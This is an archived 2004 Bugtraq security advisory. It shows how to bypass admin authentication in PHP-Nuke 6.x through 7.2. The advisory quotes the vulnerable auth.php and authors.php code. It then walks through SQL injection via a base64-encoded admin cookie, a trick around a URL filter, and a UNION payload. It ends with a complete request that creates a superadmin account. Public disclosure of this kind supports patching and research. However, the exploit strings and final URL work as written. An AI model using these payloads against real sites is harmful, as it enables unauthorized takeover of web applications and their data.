lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20040412161019.812.qmail@www.securityfocus.com>
Date: 12 Apr 2004 16:10:19 -0000
From: Janek Vind <come2waraxe@...oo.com>
To: bugtraq@...urityfocus.com
Subject: [waraxe-2004-SA#018 - Admin-level authentication bypass in
    phpnuke 6.x-7.2]






{================================================================================}
{                              [waraxe-2004-SA#018]                              }
{================================================================================}
{                                                                                }
{             [ Admin-level authentication bypass in phpnuke 6.x-7.2]            }
{                                                                                }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=18


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will try to create superadmin account without any authentication at all.
First, let's look at original code in auth.php line 48: 


$admintest = 0;

if(isset($admin) && $admin != "") {
  $admin = base64_decode($admin);
  $admin = explode(":", $admin);
  $aid = "$admin[0]";
  $pwd = "$admin[1]";


Again we can see, that base64decoded variable "admin" from cookie will be exploded to 
components - admin id and password's md5 hash. As alway with base64 encode/decode 
operation, care must by taken with special symbols, like single quotes. Before using
the base64decoded information, addslashes() function must be used. But let's look at
auth.php code further:

 
if ($aid=="" || $pwd=="") {
    $admintest=0;
    echo "<html>\n";
    echo "<title>INTRUDER ALERT!!!</title>\n";
    echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
    echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
    echo "<font face=\"Verdana\" size=\"+4\"><b>Get Out!</b></font></center>\n";
    echo "</body>\n";
    echo "</html>\n";
    exit;
  }
  $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
  if (!($result = $db->sql_query($sql))) {
        echo "Selection from database failed!";
        exit;
  } else {
  
    $row = $db->sql_fetchrow($result);
    if($row[pwd] == $pwd && $row[pwd] != "") {
        $admintest = 1;
    }
  }


So, unsanitaized variable $aid is used in sql query - classical sql injection case.
It's time to practical work - let's try to use $admin variable through GET request,
because it's more easy than using of the cookies. Let's construct "cookie" like this:

x'%20OR/*:y

which will be after base64encoding  eCcgT1IvKjp5
If we make request like http://localhost/nuke71/admin.php?admin=eCcgT1IvKjp5
then we have blank screen with short message: "die". Hmm, wtf? Nothing special ;)
Here it is, this little filtering code, in admin.php line 16:

if (preg_match("/\?admin/", "$checkurl")) { 
echo "die"; 
exit; 

This filter suxx, coz we can use urlencoding or POST or COOKIE variable. But I suggest
using of the even simple method - additional parameter:

http://localhost/nuke71/admin.php?foo=bar&admin=eCcgT1IvKjp5

and you can see "Selection from database failed!". Bingo! We have now proof of the working
sql injection. We can use this for "blind fishing" and try to get from database admin's
username and password's md5 hash, but let's try in this time to bypass the authentication at all.
Let's move forward - creating of the additional superadmin's account goes through url like this:

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1

and the "workhorse" is authors.php from /admin/modules/ directory. Authentication goes through
multiple steps. First, like we saw before, auth.php is required by admin.php and if we want to 
bypass this authentication step, we must use UNION functionality, constructing "cookie" like this:

x'%20UNION%20SELECT%201/*:1

which gives to us after base64encode operation the string eCcgVU5JT04gU0VMRUNUIDEvKjox .

As we can see, in first authentication step in auth.php script, pwd from database is pulled out, but
because we use UNION method, we can fake the pwd to be "1". If we look at "cookie", after the ":", we
see, that this pwd is "1" too. So comparing those two strings gives equality and we have bypassed successfully
the first authentication step.
Next step is located in the beginning of the authors.php script:

$aid = trim($aid);
$result = sql_query("select radminsuper from ".$prefix."_authors where aid='$aid'", $dbi);
list($radminsuper) = sql_fetch_row($result, $dbi);
if ($radminsuper==1) {
...
}else{
echo "Access Denied";
}

Because we have "poisoned" the $aid variable with single quote and UNION stuff, the variable $radminsuper
will have value "1" and the second authentication step is bypassed now successfully too.

Next we have in authors.php code like this:



case "AddAuthor":
    $add_aid = substr("$add_aid", 0,25);
    $add_name = substr("$add_name", 0,25);
    $add_pwd = substr("$add_pwd", 0,12);
    if (!($add_aid && $add_name && $add_email && $add_pwd)) {
        ...
    }
    $add_pwd = md5($add_pwd);
    $result = sql_query("insert into ".$prefix."_authors values ('$add_aid', '$add_name', '$add_url', '$add_email', '$add_pwd', '0', '$add_radminarticle',
'$add_radmintopic','$add_radminuser','$add_radminsurvey','$add_radminsection','$add_radminlink','$add_radminephem','$add_radminfaq','$add_radmindownload','$add_radminreviews','$add_radminnewsletter','$add_radminforum','$add_radmincontent','$add_radminency','$add_radminsuper','$add_admlanguage')", $dbi);
    if (!$result) {
	return;
    }
    Header("Location: admin.php?op=mod_authors");
    break;



As we can see, no more authentication is used, so it's time to make final test for exploit:


http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


If all went normally, you can now login as superadmin with username "waraxe2" and password "coolpass".

Mission complete! 



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@...oo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ